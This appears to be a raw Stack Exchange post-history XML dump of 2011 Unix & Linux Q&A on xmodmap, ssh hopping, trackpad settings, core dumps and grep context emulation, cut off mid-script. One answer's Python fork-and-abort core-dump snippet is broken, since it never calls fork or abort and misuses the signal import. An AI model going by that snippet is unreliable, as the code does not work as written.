  <row Id="27070" PostHistoryTypeId="2" PostId="11179" RevisionGUID="a1fb5065-8092-4d32-9943-c8b2a75203a9" CreationDate="2011-04-12T16:58:32.660" UserId="3686" Text="Try this: copy the text to the clipboard as usual, and then use the shortcut shift+insert to paste it into Google Docs. Or ctrl+v.&#xD;&#xA;&#xD;&#xA;There is another option: in Linux you can make a &quot;special&quot; kind of copy (it has a name, but I forgot it) by just highlighting the text and then using the middle mouse button to paste it. I'm quite used to it, because I usually work only on Linux, and I miss it when I have to use Windows :-)&#xD;&#xA;" />
  <row Id="27071" PostHistoryTypeId="2" PostId="11180" RevisionGUID="d502df62-c87b-40e8-942b-cf40afe98ae2" CreationDate="2011-04-12T17:05:35.070" UserId="3686" Text="I don't know how it goes in Yellow Dog Linux, so my answer might not help you. Anyway ...&#xD;&#xA;&#xD;&#xA;I have an old PowerPC Mac too (iBook G4) running Ubuntu, and disabled the trackpad click using:&#xD;&#xA;&#xD;&#xA;    sudo trackpad notap&#xD;&#xA;&#xD;&#xA;I guess you need the program trackpad to be installed. It comes with the mouseemu package in Ubuntu. If the software is the same in Yellow Dog, you should have that command too.&#xD;&#xA;&#xD;&#xA;Now, a quick googling for &quot;yellow dog trackpad notap&quot; gave this answer: http://www.justlinux.com/forum/showpost.php?s=e8973a72a75e94f11946e01caad21bbc&amp;p=323663&amp;postcount=2&#xD;&#xA;&#xD;&#xA;Try it. I believe that it just executes &quot;trackpad notap&quot; on boot, but it's just a guess.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27072" PostHistoryTypeId="2" PostId="11181" RevisionGUID="fdc4e401-7443-4dae-a85c-d9773fd7311f" CreationDate="2011-04-12T17:39:38.120" UserId="138" Text="Try Firefox plus the &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/firessh/&quot;&gt;FireSSH&lt;/a&gt; add-on. &#xD;&#xA;&#xD;&#xA;By default, the add-on wants to open SSH sessions in a separate window, but you can configure it to open them in a tab instead. That's not the same thing as a split window, I realize, but it does let you toggle back and forth between the two with &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;PageUp&lt;/kbd&gt; and -&lt;kbd&gt;PageDn&lt;/kbd&gt;." />
  <row Id="27073" PostHistoryTypeId="5" PostId="10480" RevisionGUID="8db36845-fd76-47f4-9fbf-d2b228096102" CreationDate="2011-04-12T17:48:59.857" UserId="6231" Comment="added 141 characters in body" Text="I just installed yellowdog linux 6.2 on an old PowerPC laptop.  &#xD;&#xA;&#xD;&#xA;By default, it's interpreting trackpad taps as clicks, which I want to disable.&#xD;&#xA;&#xD;&#xA;I followed [the directions here](http://www.ydl.net/support/solutions/ydl_2.x/mouse_buttons.shtml), and put `TRACKPAD_OPT=notap` in my `/etc/sysconfig/mouse-emulation` and rebooted, but taps are still interpreted as clicks.  Putting the setting in `/etc/sysconfig/mouse` instead (which I had to create) and rebooting didn't fix the problem either.&#xD;&#xA;&#xD;&#xA;I also tried&#xD;&#xA;&#xD;&#xA;    % sudo trackpad notap&#xD;&#xA;    Password:&#xD;&#xA;    writing /dev/adb: No such device or address&#xD;&#xA;&#xD;&#xA;So that didn't seem to work.&#xD;&#xA;&#xD;&#xA;What should I do?" />
  <row Id="27074" PostHistoryTypeId="2" PostId="11182" RevisionGUID="11c75a7c-5fad-4465-8826-5439a172b332" CreationDate="2011-04-12T17:54:14.517" UserId="6215" Text="I'm trying to achieve the following mapping&lt;br&gt;&#xD;&#xA;`keycode 135 = &lt;Ctrl-C&gt;`&#xD;&#xA;&#xD;&#xA;Is it possible to achieve this in some way?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="27075" PostHistoryTypeId="1" PostId="11182" RevisionGUID="11c75a7c-5fad-4465-8826-5439a172b332" CreationDate="2011-04-12T17:54:14.517" UserId="6215" Text="Mapping key combination with xmodmap" />
  <row Id="27076" PostHistoryTypeId="3" PostId="11182" RevisionGUID="11c75a7c-5fad-4465-8826-5439a172b332" CreationDate="2011-04-12T17:54:14.517" UserId="6215" Text="ékeyboardàéxmodmapàékeyboardöshortcutsà" />
  <row Id="27077" PostHistoryTypeId="2" PostId="11183" RevisionGUID="ce1a5f84-ad3a-43cb-81ed-d32b78845f39" CreationDate="2011-04-12T17:57:09.533" UserId="5664" Text="There is no way that i could run a fresh version of AIX (in a virtual machine) on my i386 / T7100 C2D HP notebook." />
  <row Id="27078" PostHistoryTypeId="25" PostId="11178" RevisionGUID="7aa86c79-0928-47f6-abd8-df1a24a167c2" CreationDate="2011-04-12T18:09:06.743" Comment="http://twitter.com/#!/StackUnix/status/57867856309784576" />
  <row Id="27079" PostHistoryTypeId="5" PostId="11181" RevisionGUID="0b83d0da-9034-4442-807a-8dc1256a4258" CreationDate="2011-04-12T18:19:20.943" UserId="138" Comment="added &quot;localhost&quot; para" Text="Try Firefox plus the &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/firessh/&quot;&gt;FireSSH&lt;/a&gt; add-on.&#xD;&#xA;&#xD;&#xA;If you only want a local terminal, you can make it SSH to `localhost`.&#xD;&#xA;&#xD;&#xA;By default, FireSSH wants to open SSH sessions in a separate window, but you can configure it to open them in a tab instead. That's not the same thing as a split window, I realize, but it does let you toggle back and forth between the two with &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;PageUp&lt;/kbd&gt; and -&lt;kbd&gt;PageDn&lt;/kbd&gt;." />
  <row Id="27080" PostHistoryTypeId="2" PostId="11184" RevisionGUID="90651d9a-b2ac-4e3a-b59c-191783f288a9" CreationDate="2011-04-12T18:27:44.463" UserId="885" Text="That's not possible with xmodmap. I don't think it's possible with XKB either, but I'm not sure.&#xD;&#xA;&#xD;&#xA;Is your aim to have a key that's always identical to pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; (e.g. in a terminal, it would interrupt the running program), or to have a clipboard copy key? If the latter, try&#xD;&#xA;&#xD;&#xA;    keycode 135 = XF86Copy&#xD;&#xA;&#xD;&#xA;The `XF86Copy` keysym is intended for a copy-to-clipboard key, but I don't know how many applications have that shortcut out-of-the-box.&#xD;&#xA;&#xD;&#xA;If you're on Ubuntu, and possibly even if you aren't, the recommended method to set up additional (“multimedia”) keys is [keytouch](https://help.ubuntu.com/community/KeyTouch).&#xD;&#xA;&#xD;&#xA;If you really want the key to be equivalent to &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, your desktop environment or window manager may let you bind the keysym to a command that generates key press and release events for that key combination. If you prefer or must use a DE/WM-agnostic method, you can use [xbindkeys](http://www.nongnu.org/xbindkeys/xbindkeys.html) to bind an arbitrary shell command to a key, and [xmacro](http://xmacro.sourceforge.net/) to manufacture key events to send to a window.&#xD;&#xA;" />
  <row Id="27081" PostHistoryTypeId="6" PostId="11139" RevisionGUID="6a01fb70-6b8a-4e01-89c5-3d45d1d5fbc8" CreationDate="2011-04-12T18:40:24.630" UserId="885" Comment="edited tags" Text="édateàésystemöclockà" />
  <row Id="27082" PostHistoryTypeId="5" PostId="11184" RevisionGUID="2e3b7aa4-733a-4e3d-a020-1f591a7fdcc0" CreationDate="2011-04-12T19:00:36.040" UserId="885" Comment="added xbindkeys/xmacro instructions" Text="That's not possible with xmodmap. I don't think it's possible with XKB either, but I'm not sure.&#xD;&#xA;&#xD;&#xA;Is your aim to have a key that's always identical to pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; (e.g. in a terminal, it would interrupt the running program), or to have a clipboard copy key? If the latter, try&#xD;&#xA;&#xD;&#xA;    keycode 135 = XF86Copy&#xD;&#xA;&#xD;&#xA;The `XF86Copy` keysym is intended for a copy-to-clipboard key, but I don't know how many applications have that shortcut out-of-the-box.&#xD;&#xA;&#xD;&#xA;If you're on Ubuntu, and possibly even if you aren't, the recommended method to set up additional (“multimedia”) keys is [keytouch](https://help.ubuntu.com/community/KeyTouch).&#xD;&#xA;&#xD;&#xA;If you really want the key to be equivalent to &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, your desktop environment or window manager may let you bind the keysym to a command that generates key press and release events for that key combination. If you prefer or must use a DE/WM-agnostic method, you can use [xbindkeys](http://www.nongnu.org/xbindkeys/xbindkeys.html) to bind an arbitrary shell command to a key, and [xmacro](http://xmacro.sourceforge.net/) to manufacture key events to send to a window. You'll still need to have a keysym associated with the key; a good choice is `F13` (or wherever the numbered function keys on your keyboard leave off). Then put this in your `~/.xbindkeysrc`:&#xD;&#xA;&#xD;&#xA;    &quot;{ echo KeySymPress Control_L; echo KeySym C; echo KeySymRelease Control_L; } | xmacroplay&quot;&#xD;&#xA;      F13&#xD;&#xA;&#xD;&#xA;You'll need to start `xbindkeys` with your X session — from your `~/.xinitrc` or `~/.xsession` if you have one, or from the appropriate configuration interface in your DE/WM.&#xD;&#xA;" />
  <row Id="27083" PostHistoryTypeId="6" PostId="1068" RevisionGUID="d1dbe739-43bc-41eb-b5a3-e2671c013ab2" CreationDate="2011-04-12T19:04:05.833" UserId="885" Comment="edited tags" Text="ésoftwareörecàéwindowömanageràétilingöwmà" />
  <row Id="27084" PostHistoryTypeId="6" PostId="7396" RevisionGUID="044c4078-eee6-4f50-b4ba-8fc6cd2f0fbf" CreationDate="2011-04-12T19:04:45.867" UserId="885" Comment="edited tags" Text="éguiàéwindowömanageràétilingöwmàéthemeà" />
  <row Id="27085" PostHistoryTypeId="6" PostId="3628" RevisionGUID="b964c4aa-7eb1-46d8-a108-82d67d03e092" CreationDate="2011-04-12T19:05:19.250" UserId="885" Comment="edited tags" Text="édriversàéwindowömanageràéxrandràétilingöwmà" />
  <row Id="27086" PostHistoryTypeId="6" PostId="305" RevisionGUID="f9fe4a28-b9bc-49b3-992e-faa1a73ab327" CreationDate="2011-04-12T19:05:26.317" UserId="885" Comment="edited tags" Text="égnomeàéwindowömanageràétilingöwmà" />
  <row Id="27087" PostHistoryTypeId="6" PostId="7435" RevisionGUID="19511e73-aab1-4293-99cf-3a86dc240b1f" CreationDate="2011-04-12T19:05:44.540" UserId="885" Comment="edited tags" Text="éguiàétilingöwmàéwindowàéthemeà" />
  <row Id="27088" PostHistoryTypeId="2" PostId="11185" RevisionGUID="d05f51f9-15df-47d3-9a8c-8859b48d5b49" CreationDate="2011-04-12T19:06:13.957" UserId="1571" Text="Is there a way to get a core dump (or something similar) for a process without actually killing the processes? I have a multithreaded python process running on an embedded system. And I want to be able to get a snapshot of the process under normal conditions (ie with the other processes required to be running), but I don't have enough memory to connect gdb (or run it under gdb) without the python process being the only one running.&#xD;&#xA;&#xD;&#xA;I hope this question makes sense." />
  <row Id="27089" PostHistoryTypeId="1" PostId="11185" RevisionGUID="d05f51f9-15df-47d3-9a8c-8859b48d5b49" CreationDate="2011-04-12T19:06:13.957" UserId="1571" Text="Dump process core without killing the process" />
  <row Id="27090" PostHistoryTypeId="3" PostId="11185" RevisionGUID="d05f51f9-15df-47d3-9a8c-8859b48d5b49" CreationDate="2011-04-12T19:06:13.957" UserId="1571" Text="éprocessàécoreödumpàédebugàégdbà" />
  <row Id="27091" PostHistoryTypeId="2" PostId="11186" RevisionGUID="a0293576-2143-4be5-b931-50266118e041" CreationDate="2011-04-12T19:06:58.063" UserId="885" Text="The job of splitting the screen into regions is normally devoted to the window manager. Many window managers have facilities to quickly set up or recall a window arrangement.&#xD;&#xA;&#xD;&#xA;If you find that you divide your screen between unobscured windows often, you may want to switch to a [tiling window manager](http://en.wikipedia.org/wiki/Tiling_window_manager). Choosing a tiling WM has already been discussed on this site: [Need advice in choosing a tiling WM](http://unix.stackexchange.com/questions/1068/need-advice-in-choosing-a-tiling-wm); [Tiling windows in GNOME](http://unix.stackexchange.com/questions/305/tiling-windows-in-gnome).&#xD;&#xA;" />
  <row Id="27092" PostHistoryTypeId="6" PostId="11178" RevisionGUID="5acd82f3-23de-4129-a805-298a26b90221" CreationDate="2011-04-12T19:07:26.113" UserId="885" Comment="edited tags" Text="éterminalàéscreenàéwindowömanageràétmuxàébrowserà" />
  <row Id="27093" PostHistoryTypeId="5" PostId="11003" RevisionGUID="47f6e98b-5888-4831-a6e7-a97aee868c73" CreationDate="2011-04-12T19:10:11.223" UserId="1571" Comment="added 461 characters in body" Text="I know the &quot;which IDE do you guys use&quot; question has been asked a million times. But I've never seen it asked in this context. What are some suggestions for an IDE when working on huge projects that encompass multiple languages and thousands of files.&#xD;&#xA;&#xD;&#xA;A good example is the android source. Not only is a good C/C++ IDE required for the kernel, but also Java and shell scripts. Is there anything that's built for this kind of project?&#xD;&#xA;&#xD;&#xA;What I normally use is KDevelop for C/C++. I love it, however, it seems to explode when using it for huge projects such as the linux kernel. Also it doesn't even do anything for Java or python.&#xD;&#xA;&#xD;&#xA;So what I'm basically looking for is suggestions for IDEs/setups (ie vim + scripts) for working with large projects, including the linux kernel itself.&#xD;&#xA;&#xD;&#xA;**Edit**:&#xD;&#xA;&#xD;&#xA;I think I may have been unclear. I'm not exactly looking for an IDE per se. What I'm really interested in is a tool (set of tools?) that make working with large, coupled projects easier. For example. The linux kernel defines a shitload of macro functions. I want to be able to open any given source file in the kernel tree and be able to see the definition of that macro (whether it be by mousing over, or a vim extension window, or anything). " />
  <row Id="27094" PostHistoryTypeId="2" PostId="11187" RevisionGUID="dd615d1e-0f6a-4694-b913-0cffeb3dda2b" CreationDate="2011-04-12T19:14:06.507" UserId="3737" Text="I used to do something like that often:&#xD;&#xA;&#xD;&#xA;    home $&gt; ssh user@server1&#xD;&#xA;    user@server1's password:&#xD;&#xA;    server1 $&gt; ssh user@server2&#xD;&#xA;    user@server2's password:&#xD;&#xA;    server2 $&gt;&#xD;&#xA;&#xD;&#xA;Server2 is available from server1 only, so I have to do stuff like that all time.&#xD;&#xA;&#xD;&#xA;So, question is. How can I do 2 consecutive logins in one command?&#xD;&#xA;&#xD;&#xA;    home $&gt; ssh_many user@server1 user@server2&#xD;&#xA;    user@server1's password:&#xD;&#xA;    user@server2's password:&#xD;&#xA;    server2 $&gt;" />
  <row Id="27095" PostHistoryTypeId="1" PostId="11187" RevisionGUID="dd615d1e-0f6a-4694-b913-0cffeb3dda2b" CreationDate="2011-04-12T19:14:06.507" UserId="3737" Text="2 consecutive ssh logins" />
  <row Id="27096" PostHistoryTypeId="3" PostId="11187" RevisionGUID="dd615d1e-0f6a-4694-b913-0cffeb3dda2b" CreationDate="2011-04-12T19:14:06.507" UserId="3737" Text="éshellàésshà" />
  <row Id="27097" PostHistoryTypeId="6" PostId="11156" RevisionGUID="43efc349-a1e0-4671-9c7e-dad69efb10e9" CreationDate="2011-04-12T19:22:54.280" UserId="885" Comment="edited tags" Text="ébashàépromptàéescapeöcharactersà" />
  <row Id="27098" PostHistoryTypeId="17" PostId="11189" RevisionGUID="6cee3f29-f1f7-43d6-a694-ba6ac9d6bd11" CreationDate="2011-04-12T19:23:16.430" UserId="-1" Comment="from http://stackoverflow.com/questions/5632382/using-yum-or-installing-apt-on-centos/5633218#5633218" Text="" />
  <row Id="27099" PostHistoryTypeId="17" PostId="11190" RevisionGUID="1561456a-02dc-4354-8b23-baef2cb567f3" CreationDate="2011-04-12T19:23:16.430" UserId="-1" Comment="from http://stackoverflow.com/questions/5632382/using-yum-or-installing-apt-on-centos/5640125#5640125" Text="" />
  <row Id="27100" PostHistoryTypeId="2" PostId="11189" RevisionGUID="c3c1b336-1cab-4b73-b61a-21fbee8c1fce" CreationDate="2011-04-12T09:41:45.970" UserDisplayName="IamSon0fRaja" Text="Change the yum repository to some better repository out there you can also try rpmfusion. http://rpmfusion.org/Configuration/" />
  <row Id="27101" PostHistoryTypeId="2" PostId="11190" RevisionGUID="3974943f-b1ed-4c5c-9172-0dcba6381540" CreationDate="2011-04-12T18:50:29.560" UserDisplayName="Wes" Text="Ok great. Does anyone know of a good repository and command to add/set? I am extremely new to Linux and centOS I'm looking for packages like John the ripper, Nessus and snort&#xD;&#xA;&#xD;&#xA;Any help is greatly appreciated" />
  <row Id="27102" PostHistoryTypeId="2" PostId="11188" RevisionGUID="44936e30-b9b3-46f6-949e-73ffce7eb620" CreationDate="2011-04-12T08:27:52.537" UserDisplayName="wes" Text="hello,&#xD;&#xA;&#xD;&#xA;I am having trouble with a centOS machine i am using. I need some packages, including john the ripper. but yum cannot find the packages. &#xD;&#xA;&#xD;&#xA;When i type sudo yum install john, i get back the nothing to do message. Is there a way to improve the searched locations to install john. Or is it possible to install apt on centOS machines? I know it isnt exactly supported but i am at a loss and do not have the hours necessary to install from source and rpms :(&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="27103" PostHistoryTypeId="1" PostId="11188" RevisionGUID="44936e30-b9b3-46f6-949e-73ffce7eb620" CreationDate="2011-04-12T08:27:52.537" UserDisplayName="wes" Text="using YUM or installing APT on centOS" />
  <row Id="27104" PostHistoryTypeId="3" PostId="11188" RevisionGUID="44936e30-b9b3-46f6-949e-73ffce7eb620" CreationDate="2011-04-12T08:27:52.537" UserDisplayName="wes" Text="écentosàérpmàéyumà" />
  <row Id="27105" PostHistoryTypeId="17" PostId="11188" RevisionGUID="3bf6cf7b-db5f-481f-956a-0e6c05d40032" CreationDate="2011-04-12T19:23:16.430" UserId="-1" Comment="from http://stackoverflow.com/questions/5632382/using-yum-or-installing-apt-on-centos" Text="" />
  <row Id="27106" PostHistoryTypeId="2" PostId="11191" RevisionGUID="a86d83b1-6d99-4156-aa6c-8c3281e3178b" CreationDate="2011-04-12T19:23:57.120" UserId="5325" Text="The usual trick is to have something (possibly a signal like `SIGUSR1`) trigger the program to `fork()`, then the child calls `abort()` to make itself dump core.&#xD;&#xA;&#xD;&#xA;    from os import fork, abort&#xD;&#xA;    (...)&#xD;&#xA;    def onUSR1(sig, frame):&#xD;&#xA;        if os.fork == 0:&#xD;&#xA;            os.abort&#xD;&#xA;&#xD;&#xA;and during initialization&#xD;&#xA;&#xD;&#xA;    from signal import signal, SIGUSR1&#xD;&#xA;    from wherever import onUSR1&#xD;&#xA;    (...)&#xD;&#xA;    signal.signal(signal.SIGUSR1, wherever.onUSR1)&#xD;&#xA;&#xD;&#xA;Used this way, `fork` won't consume much extra memory because almost all of the address space will be shared (which is also why this works for generating the core dump).&#xD;&#xA;&#xD;&#xA;Once upon a time this trick was used with a program called `undump` to generate an executable from a core dump to save an image after complex initialization; `emacs` used to do this to generate a preloaded image from `temacs`." />
  <row Id="27107" PostHistoryTypeId="6" PostId="11147" RevisionGUID="82d5da96-04c4-4370-bf9a-6b854cdf52d0" CreationDate="2011-04-12T19:24:02.423" UserId="885" Comment="edited tags" Text="édebianàépackageömanagementà" />
  <row Id="27109" PostHistoryTypeId="2" PostId="11192" RevisionGUID="96b68b52-c9a3-4461-b9b4-4eff4c5baa8c" CreationDate="2011-04-12T19:32:41.780" UserId="6533" Text="Try using the ssh -t argument.&#xD;&#xA;&#xD;&#xA;ssh -t user@server1 ssh user@server2&#xD;&#xA;   &#xD;&#xA;**From the man ssh page:**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        -t      Force pseudo-tty allocation.  This can be used to execute arbi‐&#xD;&#xA;                     trary screen-based programs on a remote machine, which can be&#xD;&#xA;                     very useful, e.g. when implementing menu services.  Multiple -t&#xD;&#xA;                     options force tty allocation, even if ssh has no local tty.&#xD;&#xA;&#xD;&#xA;This should give you what you are after." />
  <row Id="27110" PostHistoryTypeId="2" PostId="11193" RevisionGUID="7726eee8-0505-40f9-ba52-48c89a95b8c8" CreationDate="2011-04-12T19:35:54.410" UserId="6534" Text="    grep -A 2 -B 3 &#xD;&#xA;&#xD;&#xA;prints 2 lines after the grep string and prints 3 lines before. &#xD;&#xA;&#xD;&#xA;    grep -C 3&#xD;&#xA;&#xD;&#xA;prints 3 Lines before and 3 lines after&#xD;&#xA;&#xD;&#xA;Unfortunately,  OS that I am on doesnot support this option for grep. &#xD;&#xA;&#xD;&#xA;Any alternative command or script available to simulate this?&#xD;&#xA;&#xD;&#xA;using sed awk perl shell script ?&#xD;&#xA;" />
  <row Id="27111" PostHistoryTypeId="1" PostId="11193" RevisionGUID="7726eee8-0505-40f9-ba52-48c89a95b8c8" CreationDate="2011-04-12T19:35:54.410" UserId="6534" Text="Is there any Alternative to grep -A -B -C command (to print few lines before and after ) ?" />
  <row Id="27112" PostHistoryTypeId="3" PostId="11193" RevisionGUID="7726eee8-0505-40f9-ba52-48c89a95b8c8" CreationDate="2011-04-12T19:35:54.410" UserId="6534" Text="éscriptingàégrepà" />
  <row Id="27116" PostHistoryTypeId="2" PostId="11195" RevisionGUID="6325b56c-c84b-4cef-b0f7-0994bf6f3b34" CreationDate="2011-04-12T19:45:06.143" UserId="5325" Text="One moderately ugly way to do it is&#xD;&#xA;&#xD;&#xA;    grep -v pattern file &gt;file.tmp; diff -c file.tmp file&#xD;&#xA;&#xD;&#xA;or replace `-c` with `-C NUM` for `NUM` lines of context.  It'll produce extra output, though.  (If your `diff` supports `-u`/`-U NUM`, it'll be cleaner.)&#xD;&#xA;&#xD;&#xA;If your `diff` doesn't have `-c`/`-C`/`-u`, there are still ways to do it, but they're pretty ugly.  On the other hand, a system whose `diff` doesn't even support `-c` probably doesn't have Perl either." />
  <row Id="27117" PostHistoryTypeId="2" PostId="11196" RevisionGUID="01f2370d-69dd-4a51-a000-b282237e6375" CreationDate="2011-04-12T19:50:36.597" UserId="6536" Text="This simple perl script amulates grep -A to some extent&#xD;&#xA;&#xD;&#xA;May be you should add a usage statement.&#xD;&#xA;USAGE:&#xD;&#xA;$./grep-A.pl &lt;pattern&gt; &lt;numLines&gt; &lt;filename&gt; &#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl&#xD;&#xA;    &#xD;&#xA;    $pattern=shift; #patthern to search&#xD;&#xA;    $lines=shift; # number of lines to print&#xD;&#xA;    &#xD;&#xA;    $n = 0;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;      $n = $lines if /$pattern/; # start printing&#xD;&#xA;      if ($n) { print; $n-- } # print if within&#xD;&#xA;      $n = 0 if eof; # don't leak across file boundaries&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27118" PostHistoryTypeId="5" PostId="11196" RevisionGUID="03ac1793-6b9b-448a-969a-2f7a92c0e933" CreationDate="2011-04-12T20:02:32.063" UserId="6534" Comment="formatted added amulate to emulate" Text="This simple perl script emulates grep -A to some extent&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;May be you should add a usage statement.&#xD;&#xA;USAGE:&#xD;&#xA;&#xD;&#xA;    $./grep-A.pl &lt;pattern&gt; &lt;numLines&gt; &lt;filename&gt; &#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl&#xD;&#xA;    &#xD;&#xA;    $pattern=shift; #patthern to search&#xD;&#xA;    $lines=shift; # number of lines to print&#xD;&#xA;    &#xD;&#xA;    $n = 0;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;      $n = $lines if /$pattern/; # reset counting&#xD;&#xA;      if ($n) { print; $n-- } # print if within&#xD;&#xA;      $n = 0 if eof; # don't leak across file boundaries&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27119" PostHistoryTypeId="24" PostId="11196" RevisionGUID="03ac1793-6b9b-448a-969a-2f7a92c0e933" CreationDate="2011-04-12T20:02:32.063" Comment="Proposed by 6534 approved by -1 edit id of 264" />
  <row Id="27120" PostHistoryTypeId="2" PostId="11197" RevisionGUID="61330bfb-50b0-455f-9f88-c1c991c82cb6" CreationDate="2011-04-12T20:04:40.063" UserId="3447" Text="John the Ripper is available from [RPMForge](http://rpmrepo.org/RPMforge), and the package name is `john`.  As you mentioned in an answer, Snort is also available in RPMForge as `snort-rep`.  It doesn't look like it has Nessus, but it has something called `perl-Net-Nessus-XMLRPC`.&#xD;&#xA;&#xD;&#xA;I found `nessus` on [ATRPMs](http://atrpms.net/)" />
  <row Id="27121" PostHistoryTypeId="5" PostId="11196" RevisionGUID="8a0bbdc2-83d7-4ec2-98df-1f652f868fb6" CreationDate="2011-04-12T20:06:45.290" UserId="6534" Comment="moved usage statement" Text="This simple perl script emulates grep -A to some extent&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl&#xD;&#xA;    &#xD;&#xA;    $pattern=shift; #patthern to search&#xD;&#xA;    $lines=shift; # number of lines to print&#xD;&#xA;    &#xD;&#xA;    $n = 0;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;      $n = $lines if /$pattern/; # reset counting&#xD;&#xA;      if ($n) { print; $n-- } # print if within&#xD;&#xA;      $n = 0 if eof; # don't leak across file boundaries&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note that you may add a usage statement, to make script readable ;)&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    USAGE:    $./grep-A.pl &lt;pattern&gt; &lt;numLines&gt; &lt;filename&gt; &#xD;&#xA;" />
  <row Id="27122" PostHistoryTypeId="24" PostId="11196" RevisionGUID="8a0bbdc2-83d7-4ec2-98df-1f652f868fb6" CreationDate="2011-04-12T20:06:45.290" Comment="Proposed by 6534 approved by -1 edit id of 265" />
  <row Id="27123" PostHistoryTypeId="5" PostId="11196" RevisionGUID="77bae36c-46bd-4c0c-9be3-24413a350b19" CreationDate="2011-04-12T20:06:46.130" UserId="6536" Comment="Improved formatting" Text="This simple perl script emulates grep -A to some extent&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl&#xD;&#xA;    &#xD;&#xA;    $pattern=shift; #patthern to search&#xD;&#xA;    $lines=shift; # number of lines to print&#xD;&#xA;    &#xD;&#xA;    $n = 0;&#xD;&#xA;    while (&lt;&gt;) {&#xD;&#xA;      $n = $lines if /$pattern/; # reset counting&#xD;&#xA;      if ($n) { print; $n-- } # print if within&#xD;&#xA;      $n = 0 if eof; # don't leak across file boundaries&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note that you may add a usage statement, to make script readable and usable ;)&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    USAGE:    $./grep-A.pl &lt;pattern&gt; &lt;numLines&gt; &lt;filename&gt; &#xD;&#xA;" />
  <row Id="27124" PostHistoryTypeId="2" PostId="11198" RevisionGUID="85cd2c4e-34c8-4cee-8027-2a8e203cdde9" CreationDate="2011-04-12T20:16:15.937" UserId="6167" Text="According to your output from `ssh quackgame ls -ld /home/game`, /home/game is only writable by the file owner, game, and not by the users group.  Try running `chmod g+w /home/game` on quackgame and see if it works." />
  <row Id="27125" PostHistoryTypeId="2" PostId="11199" RevisionGUID="d63dcc37-3103-45a0-8647-5ea42731b4b3" CreationDate="2011-04-12T20:18:40.743" UserId="455" Text="It turns out that it's quite tricky to emulate -B, because of the issues that crop up when you have matching lines following each other directly. This pretty much disallows using any sort of single-pass-through file scanning.&#xD;&#xA;&#xD;&#xA;I realized this while playing around with the following approximation:&#xD;&#xA;&#xD;&#xA;    perl -pe 'if(/search_term/) {print foreach @A; print &quot;&gt;&quot;; $B=4}; shift @A if push(@A, $_)&gt;7; $_ = &quot;&quot; unless ($B-- &gt; 0);' target_file&#xD;&#xA;&#xD;&#xA;This will work roughly correctly as grep -A7 -B3 would, with the caveat described in the first paragraph.&#xD;&#xA;" />
  <row Id="27126" PostHistoryTypeId="5" PostId="11193" RevisionGUID="27578395-a933-4aab-8dc1-403bf2d6576e" CreationDate="2011-04-12T20:30:18.877" UserId="73" Comment="added 8 characters in body; edited title" Text="    grep -A 2 -B 3 &#xD;&#xA;&#xD;&#xA;prints 2 lines after the grep string and prints 3 lines before. &#xD;&#xA;&#xD;&#xA;    grep -C 3&#xD;&#xA;&#xD;&#xA;prints 3 Lines before and 3 lines after&#xD;&#xA;&#xD;&#xA;Unfortunately, the `grep` I'm using does not support these options. Are there any alternative commands or script available to simulate this? Using `sed`/`awk`/`perl`/shell scripts?&#xD;&#xA;" />
  <row Id="27127" PostHistoryTypeId="2" PostId="11200" RevisionGUID="eb600381-a6c6-419d-8ec3-1dfd776e0f38" CreationDate="2011-04-12T20:32:52.297" UserId="2421" Text="[ack][1] requires only Perl, and includes `-A`, `-B`, and `-C` options that work like grep's.  It uses Perl's regex syntax instead of grep's, and the way it selects files to search is quite different.  You might want to try the `-f` option when using it (which prints out the files it will search without actually searching anything).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://betterthangrep.com/" />
  <row Id="27128" PostHistoryTypeId="4" PostId="11193" RevisionGUID="27578395-a933-4aab-8dc1-403bf2d6576e" CreationDate="2011-04-12T20:30:18.877" UserId="73" Comment="added 8 characters in body; edited title" Text="Is there any alternative to grep's -A -B -C switches (to print few lines before and after )?" />
  <row Id="27129" PostHistoryTypeId="2" PostId="11201" RevisionGUID="1e53b995-54a0-4257-b49b-4fe5d78d98bf" CreationDate="2011-04-12T20:40:09.127" UserId="885" Text="You can just install [GNU grep](http://www.gnu.org/software/grep/) or [Ack](http://betterthangrep.com/) (written in Perl, understands many of GNU grep's options and more).&#xD;&#xA;&#xD;&#xA;If you prefer to stick to standard tools plus a bit of scripting, here's an [awk](http://pubs.opengroup.org/onlinepubs/009695399/utilities/awk.html) script that emulates the behavior of GNU grep's `-A` and `-B` options. Minimally tested.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # grep-ac: a grep-like awk script&#xD;&#xA;    # Arguments: pattern = awk regexp to search for&#xD;&#xA;    #            before = number of lines to print before a match&#xD;&#xA;    #            after = number of lines to print after a match&#xD;&#xA;    { &quot;exec&quot; &quot;awk&quot; &quot;-f&quot; 